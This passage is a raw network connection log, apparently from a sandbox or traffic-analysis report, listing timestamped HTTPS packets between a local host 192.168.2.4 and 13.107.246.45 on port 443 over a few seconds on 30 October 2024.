Oct 30, 2024 06:17:10.338141918 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.338293076 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.338350058 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.339514971 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.339673042 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.339720011 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.340725899 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.340725899 CET	49832	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.340743065 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.340753078 CET	443	49832	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.340795994 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.340800047 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.340811014 CET	49831	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.340814114 CET	443	49831	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.343993902 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344018936 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344050884 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344121933 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344157934 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344213009 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344275951 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344291925 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344315052 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344326019 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344335079 CET	49833	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344338894 CET	443	49833	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344710112 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.344749928 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.344814062 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.345143080 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.345160007 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.346366882 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.346378088 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:10.346437931 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.346549988 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:10.346561909 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.054064035 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.054547071 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.054590940 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.055046082 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.055053949 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.070031881 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.070470095 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.070494890 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.070966959 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.070972919 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.075599909 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.075985909 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.076019049 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.076360941 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.076366901 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.082511902 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.082865000 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.082885981 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.083219051 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.083225965 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.087063074 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.087301016 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.087311029 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.087635994 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.087641954 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.185950994 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.186114073 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.186194897 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.186387062 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.186414003 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.186428070 CET	49834	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.186435938 CET	443	49834	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.189728975 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.189769030 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.189841032 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.189984083 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.189996004 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.198652983 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.198807955 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.198870897 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.198961020 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.198978901 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.198987961 CET	49835	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.198992014 CET	443	49835	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.201241970 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.201261044 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.201337099 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.201479912 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.201487064 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.207887888 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.208036900 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.208090067 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.208112955 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.208123922 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.208132029 CET	49837	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.208134890 CET	443	49837	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.209896088 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.209928036 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.209990025 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.210103989 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.210123062 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.215306044 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.215465069 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.215531111 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.215559959 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.215574980 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.215588093 CET	49838	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.215595007 CET	443	49838	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.217348099 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.217359066 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.217417955 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.217533112 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.217541933 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.220556021 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.220959902 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.221009970 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.221045971 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.221051931 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.221064091 CET	49836	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.221067905 CET	443	49836	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.222651958 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.222696066 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.222765923 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.222875118 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.222893000 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.921101093 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.921854019 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.921883106 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.922523975 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.922532082 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.943036079 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.943834066 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.943914890 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.944432020 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.944444895 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.950170040 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.950706959 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.950725079 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.951221943 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.951229095 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.954163074 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.954606056 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.954669952 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.955200911 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.955214024 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.964652061 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.965136051 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.965145111 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:11.965862989 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:11.965867043 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.050163984 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.050309896 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.050386906 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.050522089 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.050549984 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.050575972 CET	49840	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.050606012 CET	443	49840	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.053703070 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.053741932 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.053837061 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.054014921 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.054027081 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.078334093 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.078385115 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.078433990 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.078442097 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.078739882 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.078748941 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.078763008 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.079133034 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.079214096 CET	443	49839	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.079263926 CET	49839	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081609964 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081640005 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.081657887 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.081671953 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.081727982 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.081728935 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081772089 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081785917 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081928968 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081963062 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.081979990 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.081991911 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.082006931 CET	49843	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.082012892 CET	443	49843	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084036112 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.084063053 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084151030 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.084276915 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.084287882 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084733009 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084784985 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084840059 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.084862947 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084904909 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.084958076 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.085006952 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.085026979 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.085051060 CET	49842	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.085062981 CET	443	49842	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.086882114 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.086924076 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.087012053 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.087125063 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.087152004 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.116190910 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.119431019 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.119505882 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.119534016 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.119553089 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.119570017 CET	49841	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.119576931 CET	443	49841	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.121874094 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.121903896 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.121989012 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.122118950 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.122132063 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.811161041 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.811794043 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.811855078 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.812299013 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.812313080 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.817816973 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.817864895 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.818236113 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.818258047 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.818269968 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.818273067 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.818675995 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.818691015 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.818751097 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.818762064 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.825690031 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.826003075 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.826023102 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.826320887 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.826332092 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.857067108 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.857372999 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.857391119 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.857745886 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.857753038 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.941222906 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.941476107 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.941575050 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.941656113 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.941679001 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.941693068 CET	49846	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.941699982 CET	443	49846	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.944977999 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.945019960 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.945106983 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.945298910 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.945312977 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.946995020 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.947153091 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.947226048 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.947283983 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.947334051 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.947376966 CET	49845	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.947391987 CET	443	49845	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.949639082 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.949666023 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.949734926 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.949891090 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.949903011 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.952348948 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.952399969 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.952538967 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.953246117 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.953423023 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.953423023 CET	49844	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.953443050 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.953464985 CET	443	49844	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.955475092 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.955490112 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.955562115 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.955698013 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.955709934 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.956052065 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.956211090 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.956275940 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.956358910 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.956358910 CET	49847	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.956392050 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.956423044 CET	443	49847	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.958194971 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.958219051 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.958286047 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.958427906 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.958440065 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.996432066 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.996503115 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.996556997 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.996721029 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.996736050 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.996746063 CET	49848	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.996752024 CET	443	49848	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.999125957 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.999160051 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:12.999234915 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.999386072 CET	49853	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:12.999397039 CET	443	49853	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.686675072 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.687213898 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.687228918 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.687776089 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.687781096 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.687819004 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.688175917 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.688189030 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.688569069 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.688572884 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.704236984 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.704521894 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.704544067 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.704875946 CET	49852	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.704880953 CET	443	49852	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.718071938 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.718357086 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.718381882 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.718750954 CET	49850	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.718758106 CET	443	49850	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.816107035 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.816195011 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.816266060 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.816481113 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.816498995 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.816509008 CET	49851	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.816514015 CET	443	49851	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.819502115 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.819530964 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.819610119 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.819775105 CET	49854	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.819783926 CET	443	49854	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.820359945 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.820501089 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.820554972 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.820617914 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.820622921 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.820631981 CET	49849	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:13.820636034 CET	443	49849	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:13.822599888 CET	49855	443	192.168.2.4	13.107.246.45
